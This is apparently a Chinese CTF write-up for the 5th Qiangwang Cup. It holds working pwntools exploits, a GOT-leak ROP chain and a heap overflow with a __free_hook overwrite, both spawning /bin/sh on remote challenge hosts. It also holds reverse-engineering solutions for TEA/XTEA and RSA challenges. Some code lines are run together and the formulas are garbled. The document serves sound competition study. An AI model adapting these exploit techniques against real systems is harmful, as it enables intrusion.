#gdb.attach(sh, '''b *0x080492a8''')

payload=p8(0)*2

#pause()

sh.sendline(payload)

sleep(1)

sh.sendline(str(-2147483648))

sh.sendline(str(-1))

payload1=p32(0)*0x12+p32(0x0804C0B0-4+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0b0-4+0xa00)+p32(0x1000)

payload2=p32(0x804c0c4+0xa00)+p32(0x804925b)+p32(0)+p32(elf.got['open'])+p32(0x100)+p32(leave_ret)+p32(0x804c0e0+0xa00)+p32(0x804936F)+p32(1)+p32(elf.got['read'])+p32(0x4)+p32(0)*2+p32(0x804c100+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0fc+0xa00)+p32(0x100)

sh.sendline(payload1)

#pause()

sh.sendline(payload2)

#pause()

sh.send(p16(0x4c90))

read_addr=u32(sh.recv())

log.success("read addr: "+hex(read_addr))

libc.address=read_addr-libc.sym['read']

log.success("system addr: "+hex(libc.sym['system']))

libc_base=read_addr-libc.sym['read']

sh.sendline(p32(0)+p32(0x804c200+0xa00)+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))

sh.interactive()

while True:

#sh=process('./test')

sh=remote('39.105.138.97',1234)

try:

pwn()

except:

sh.close()

7.pipeline

libc2.31

堆溢出

配合对风水直接修改pipe->data, 实现任意地址修改,

漏洞主要是写入data的时候v1是有符号16位,

后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64,

这里的绕过可以在前面if (size <= v1) 使用v1为负数, 然后进入my_read 函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现配合堆风水,改掉对应的pipe->data位, 实现任意地址写

from pwn import *context.log_level = 'debug'context.terminal = ["tmux","new-window"]p = remote("59.110.173.239", 239)#p = process("./pipeline"l)libc = ELF("./libc-2.31.so")def new():    p.recvuntil(">> ")    p.sendline("1")def edit(index, size):    p.recvuntil(">> ")    p.sendline("2")    p.recvuntil("index: ")    p.sendline(str(index))    p.recvuntil("offset: ")    p.sendline(str(0))    p.recvuntil("size: ")    p.sendline(str(size))def destroy(index):    p.recvuntil(">> ")    p.sendline("3")    p.recvuntil("index: ")    p.sendline(str(index))def append(index, size, data):    p.recvuntil(">> ")    p.sendline("4")    p.recvuntil("index: ")    p.sendline(str(index))    p.recvuntil("size: ")    p.sendline(str(size))    p.recvuntil("data: ")    p.sendline(data)def show(index):    p.recvuntil(">> ")    p.sendline("5")    p.recvuntil("index: ")    p.sendline(str(index))    p.recvuntil("data: ")

new()new()new()edit(0,0x68)edit(1,0x68)edit(0,0)edit(1,0)

edit(1,0x68)

edit(0,0x450)edit(1,0x78)edit(0,0)edit(0,0x18)show(0)#leak libclibc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - libc.symbols["__malloc_hook"] - 0x10 - 0x400#getshellnew()payload = b'b'*0x18 + p64(0x21)payload += p64(libc_base + libc.symbols["__free_hook"])payload += p32(0) + p32(0x100)append(0, 0x80000100, payload)

#gdb.attach(p)append(3, 0x20, p64(libc_base + libc.symbols["system"]))append(0, 0x20, '/bin/sh\x00')edit(0,0)log.info("libc_base------------------>"+hex(libc_base))p.interactive()

RE

附件:https://pan.baidu.com/s/1fU--SjhDX0QrB3b9nPsDEQ,提取码:subo

1.ezmath

奇怪的思路,但也算是出了flag。
bdl_4020是一个double数组,内容是19个小数。
sub_13F3函数如图:
v3的初值是0.2021,但是在运行过程中修改成了0.000483
v3是一个递推的关系,递推公式是a n + 1 = e − n × a n a_{n+1}=e-n\times a_na 
n+1
=e−n×a 
n
用python简单的打一个表,可以发现v3初值无论为多少,经过80次左右的循环后,都会在正负无穷之间跳跃。
>>> v3 = [0.000483]
>>> for i in range(0x2021,0x2021+100):
v3.append(math.e-i*v3[-1])
>>> v3[-20:]
[-inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf, -inf, inf]
v3是不收敛的,更不用说令v3等于double数组中的小数值。
多种尝试无果,于是尝试让a n 强行收敛试试,也就是令
化简得:
很奇怪但大家懂这意思就行
观察double数组中的值,e i \frac{e}{i} 
i
e
的值都接近整数
>>> [math.e/i for i in dbl]
[27751.99996396786, 26466.999962218535,29564.999966177365,
24930.99995989091,24430.999959070075, 26981.999962939633, 
24430.999959070075, 25960.999961482154, 24426.999959063374, 
25965.99996148958, 24426.999959063374, 24939.999959905384,
24430.999959070075, 24932.99995989413, 24418.999959049965, 
26996.999962960217, 24431.999959071745, 24941.999959908593,
32098.999968847354]
可以初步判断是正确的
于是把 的值作为flag内容
代码如下
from math import *
a = [0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,\
0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,\
0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,\
0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,\
0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,\
0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,\
0.00008468431512187874]
aa = [round(e/i) for i in a]
def f(n):
b = bin(n)[2:].zfill(16)
return chr(int(b[8:],2))+chr(int(b[:8],2))
#是后半段+前半段,要反过来
print(''.join(f(i) for i in aa))
#===============输出========================
#hlcg}scao_fio_iek_nek_lao_eac_uip_nac}
很明显有flag的形式了,但是需要调整。
前缀“ flag{ ”与输出“ hlcg} ”,观察得到,是每两个字符的前一个字符,对应ASCII码+2即可。
于是修改函数的返回值
def f(n):
b = bin(n)[2:].zfill(16)
return chr(int(b[8:],2)-2)+chr(int(b[:8],2))
#这里减2
得到输出
flag{saam_dim_gei_lei_jam_caa_sin_laa}
import codecst=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,     0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,     0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,     0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,     0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,     0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,     0.00008468431512187874]div = 2.718281828459045def c(n):    t_int = int(div // n)    print(hex(t_int))    if abs(t_int * n - div) < abs((t_int - 1) * n - div):        t_int -=1    t_hex = hex(t_int)[2:]    t_chr = codecs.decode(t_hex,'hex')    return t_chr[::-1].decode()

for i in t:    print(c(i),end='n')

2.LongTimeAgo

def xt_dec(num, enc, k):    value0 = enc[0]    value1 = enc[1]    data = 0x70C88617    sum = 0xE6EF3D20    for i in range(num):        value1 -= (((value0 << 4) ^ (value0 >> 5)) + value0) ^ (sum + k[(sum >> 11) & 3])        value1 &= 0xffffffff        sum += data        value0 -= (((value1 << 4) ^ (value1 >> 5)) + value1) ^ (sum + k[sum & 3])        value0 &= 0xffffffff    return (value0, value1)def t_dec(enc, k):    value0 = enc[0]    value1 = enc[1]    sum = 0xa6a53780    data = 0x3D3529BC    for i in range(32):        value1 -= ((value0 << 4) + k[2]) ^ (value0 + sum) ^ ((value0 >> 5) + k[3])        value1 &= 0xffffffff        value0 -= ((value1 << 4) + k[0]) ^ (value1 + sum) ^ ((value1 >> 5) + k[1])        value0 &= 0xffffffff        sum -= data    return (value0, value1)encode = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]for i in range(0, 4, 2):    encode[i] ^= 0xfd    encode[i + 1] ^= 0x1fdfor i in range(4, 8, 2):    encode[i] ^= 0x3fd    encode[i + 1] ^= 0x7fdk = [0xfffd, 0x1fffd, 0x3fffd, 0x7fffd]result = ''for i in range(0, 4, 2):    a = xt_dec(32, encode[i:], k)    result += hex(a[0])[2:] + hex(a[1])[2:]for i in range(4, 8, 2):    a = t_dec(encode[i:], k)    result += hex(a[0])[2:] + hex(a[1])[2:]print("QWB{" + result.upper() + "}")

3.StandOnTheGiants

题目的 java 层没什么代码,输入后直接调用 native 校验。校验函数伪代码如下:

  v3 = env;  v4 = 0;  v20 = a3;  v5 = (*env)->GetStringUTFChars(env, a3, 0);  v6 = strlen(v5);  v8 = malloc(2 * v6 + 4);  v9 = v8;  while ( v6 != v4 )  {    hex_byte_52318(v9, -1, v7, v5[v4]);    v9 += 2;    ++v4;  }  ctx = BN_CTX_new_5235C();  BN_CTX_start_5249C(ctx);  bn_m = BN_CTX_get_5264C(ctx);  BN_set_5BB08(&bn_m, v8);  free(v8);  bn_N = BN_CTX_get_5264C(ctx);  bn_e = BN_CTX_get_5264C(ctx);  _aeabi_memcpy8(temp, byte_2C6B0, 0xD1);  for ( i = 0; i != 0xD1; ++i )    temp[i] ^= 0x3Du;  BN_set_5BB08(&bn_N, temp);  _aeabi_memclr8(temp, 209);  v12 = 0;  v21 = 0;  v22 = 0;  while ( v12 != 6 )    *(&v21 + v12++) ^= 0x30u;  ++BYTE1(v21);  ++BYTE1(v22);  BN_set_5BB08(&bn_e, &v21);  v21 = 0;  v22 = 0;  bn_c = BN_CTX_get_5264C(ctx);  BN_powmod_529BC(bn_c, bn_m, bn_e, bn_N, ctx);  v14 = sub_565A8(bn_c);  v15 = malloc((v14 + 7) / 8);  v16 = sub_56EB8(bn_c, v15);  BN_CTX_end_525B8(ctx);  BN_CTX_free_523E8(ctx);  v17 = calloc(3u, v16);  base64_52044(v15, v17, v16, 0);  free(v15);  v18 = strcmp(          "bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG"          "+/lmqEysrTdSD+eP+moP+l?+Np/oK=",          v17);  free(v17);  (*v3)->ReleaseStringUTFChars(v3, v20, v5);  result = _stack_chk_guard;  if ( _stack_chk_guard == v27 )    result = v18;  return result;

静态编码了 openssl,利用其大数库实现了 RSA 加密。RSA 中的 n 是可查询到的。所以反解就容易了,唯一麻烦的是 base64 的反解。程序中使用的 base64 表中字符并不都是唯一的,有两个字符是重复的,所以还是要跑下,代码如下:

# -*- coding:utf-8 -*-import base64import gmpy2import string,itertools

t1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@12't2 = string.uppercase+string.lowercase+string.digits+'+/'def main():#    a = [ 0x0C, 0x0E, 0x0F, 0x0C, 0x79, 0x0F, 0x7B, 0x79, 0x79, 0x79, #          0x78, 0x05, 0x7F, 0x79, 0x04, 0x79, 0x7B, 0x7B, 0x0E, 0x0A, #          0x04, 0x7C, 0x7B, 0x7B, 0x0D, 0x0E, 0x0D, 0x79, 0x78, 0x0F, #          0x0D, 0x08, 0x7F, 0x05, 0x09, 0x0B, 0x78, 0x7F, 0x08, 0x7E, #          0x78, 0x7E, 0x7E, 0x09, 0x0D, 0x7B, 0x7C, 0x05, 0x7C, 0x7C, #          0x04, 0x7E, 0x0F, 0x7C, 0x05, 0x08, 0x7E, 0x78, 0x0E, 0x78, #          0x04, 0x04, 0x0F, 0x0C, 0x04, 0x0E, 0x78, 0x05, 0x0A, 0x0E, #          0x7F, 0x0F, 0x7F, 0x7E, 0x0B, 0x0B, 0x0A, 0x79, 0x7C, 0x7F, #          0x78, 0x0F, 0x7C, 0x7E, 0x0E, 0x78, 0x78, 0x04, 0x79, 0x79, #          0x0F, 0x0E, 0x7F, 0x0E, 0x7C, 0x04, 0x78, 0x79, 0x04, 0x78, #          0x7E, 0x0D, 0x7E, 0x0E, 0x7E, 0x0A, 0x09, 0x09, 0x08, 0x0B, #          0x0B, 0x0E, 0x7B, 0x08, 0x09, 0x08, 0x08, 0x09, 0x0B, 0x04, #          0x7F, 0x0A, 0x0F, 0x0A, 0x79, 0x79, 0x0B, 0x7B, 0x7F, 0x7E, #          0x0D, 0x0E, 0x7F, 0x0C, 0x7F, 0x7B, 0x04, 0x08, 0x79, 0x0D, #          0x0E, 0x7C, 0x0C, 0x0E, 0x7E, 0x0D, 0x0E, 0x0B, 0x05, 0x0B, #          0x09, 0x08, 0x0A, 0x0B, 0x0A, 0x0B, 0x0E, 0x0D, 0x7E, 0x0A, #          0x78, 0x7C, 0x7F, 0x7B, 0x08, 0x78, 0x0A, 0x7C, 0x7F, 0x08, #          0x7B, 0x7C, 0x0F, 0x0A, 0x7F, 0x04, 0x09, 0x7C, 0x79, 0x78, #          0x0A, 0x78, 0x0C, 0x78, 0x0F, 0x0E, 0x7F, 0x7E, 0x7E, 0x0B, #          0x08, 0x79, 0x0F, 0x7C, 0x0A, 0x79, 0x78, 0x79, 0x0C, 0x7E, #          0x08, 0x7F, 0x0E, 0x0B, 0x09, 0x7F, 0x08, 0x0C, 0x3D,]#    b = map(lambda x:chr(x^0x3d),a)#    print(''.join(b))    n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51    p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711    q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367    assert(n==p*q)    e = 0x10001    s='bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK='    t = string.maketrans(t1,t2)    ite1 = itertools.product('+1',repeat=10)

    idx1 = [6,25,26,45,77,110,123,126,130,133]    idx2 = [22,43,59,74]    for it1 in ite1:        ite2 = itertools.product('-2',repeat=4)        for it2 in ite2:            l = list(s)            for i in range(10):                l[idx1[i]] = it1[i]            for i in range(4):                l[idx2[i]] = it2[i]            c = string.translate(''.join(l),t)            d = gmpy2.invert(e,(p-1)*(q-1))            tmp = base64.b64decode(c).encode('hex')            tmp = int(tmp,16)            m = gmpy2.powmod(tmp,d,n)            tmp = hex(m)[2:].replace('L','')            if len(tmp) % 2 != 0:                tmp = '0'+tmp            if len(hex(m)) < 100:                print(c,hex(m)[2:].replace('L','').decode('hex'))                exit()

if __name__ == '__main__':    main()

参考文献:

https://www.anquanke.com/post/id/244824#h3-13

https://blog.csdn.net/weixin_39190897/article/details/118066125

第五届强网杯全国网络安全挑战赛writeup相关推荐

  1. 第五届“强网杯”全国网络安全挑战赛 - 青少年专项赛 crypto

    文章目录 Crypto1 Crypto2 Crypto1 题目: n=96722669749951212913756678234358651184134068407812470434435916603 ...

  2. 第四届“强网杯”全国网络安全挑战赛_部分WP

    前言: 全靠大佬带飞,自己菜的一批,还需继续努力!,把觉得有必要记录的记录一下. Funhash <?php include 'conn.php'; highlight_file("i ...

  3. [ CTF ]【天格】战队WriteUp-第六届“强网杯”全国安全挑战赛(初赛)

    WriteUp推荐 文章开始前,我还是想向大家推荐一下其他战队的师傅写的WriteUp. 在本人允许的时间后发布这篇文章以后,也有不少师傅相继发出了WriteUp,拜读了各位师傅的WriteUp后学习 ...

  4. 第五届“强网杯”青少年专项赛盛大开赛

    9月25日,第五届"强网杯"青少年专项赛线上赛盛大开赛.作为国家级赛事强网杯的系列专项赛,青少年专项赛圆满践行了向青少年普及网络安全知识与技能,提升青少年网络安全素养和创新能力,发 ...

  5. 2021第五届强网杯部分writewp

    第五届强网杯部分题解 web-最后两道是师弟做得 pwn-by-RGDZ 菜鸡简单记录一下本次比赛.持续更新 文章目录 第五届强网杯部分题解 前言 一.Web 1.1Web1 [强网先锋]寻宝 操作过 ...

  6. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  7. 记录第五届强网杯MISC(杂项题解)

    文章目录 0x01 MISC Blue Teaming 0x02 cipherman 0x03 ExtremlySlow 0x04 ISO1995 0x05 EzTime 总结 本次比赛除去签到题,m ...

  8. 2022强网杯 Quals Reverse 部分writeup

    Game native层其实只有加解密的两个函数,所以没怎么逆,直接用frida hook 由于有root检测和frida检测,换个端口启动 ./frida-server-15.1.8-android ...

  9. 第五届“强网”拟态防御国际精英挑战赛——特邀战队篇

    第五届"强网"拟态防御国际精英挑战赛即将在南京隆重开赛!本届大赛面向全球顶尖CTF战队,在创新应用场景与技术的基础上,拓展升级赛道,全面覆盖典型网络设备.大赛汇集国内外60支精英战 ...

  10. 2020强网杯部分题目复现

    本文目录 前言 强网先锋 Funhash 主动 upload web辅助 miscstudy 总结 前言 代码烂,游戏菜,天天等着大佬带.这次做出来三道题,无缘线下赛了,看来以后要找个大腿抱着才行(开 ...

最新文章

  1. 用神经网络分类奇数和偶数
  2. 【Win32汇编】五种寻址方式
  3. 讲述华为发布鸿蒙系统,华为鸿蒙系统正式版首批升级名单公布:这8款机型用户有福了!...
  4. NET问答: 如何实现读写 file 的时候不用锁模式 ?
  5. Struts2中的值栈
  6. LeetCode - 7 - Reverse Integer
  7. Java web(2012/2/23)
  8. C语言结构体定义 typedef struct
  9. java参数化查询_【转】参数化查询为什么能够防止SQL注入
  10. Stata:机制检验,如何判断是不是遮掩效应?
  11. 每日学习打卡-汇总处
  12. 【CSS】773- 《CSS揭秘》使用技巧总结(干货)
  13. 有一种空格叫做--不间断空格(空格保存到数据库变成了问号)
  14. 湖北一公司发生闪爆事故,这套化工厂巡检系统你有吗?
  15. 第一章第十三题(代数:求解2 × 2线性方程组)(Algebra: solve 2 × 2 linear equations)
  16. 转载 一个小时学会MySQL数据库(2)
  17. 剑网三指尖江湖快速升级辅助 日常任务脚本工具介绍
  18. 批量训练pytorch练习
  19. ubuntu 拨号上网(PPPOE)
  20. vhdl中变量(variable)和信号(signal)的区别

热门文章

  1. 威胁web应用安全的错误
  2. wpf-折线图绘制2-oxyplot-1
  3. HDU - 5855 Less Time, More profit 最大权闭合子图 + 二分
  4. adb devices offline_android adb devices offline的解决办法
  5. 【词性标注】一篇文章弄懂词性标注
  6. CDH大数据平台搭建之HADOOP分布式集群搭建
  7. 风控每日一问:风控工作的价值在于?
  8. Swift-基本运算符
  9. HEW3工程链接错误(L2330 (E) Relocation size overflow )及解决
  10. Best Android Remote Desktop Apps?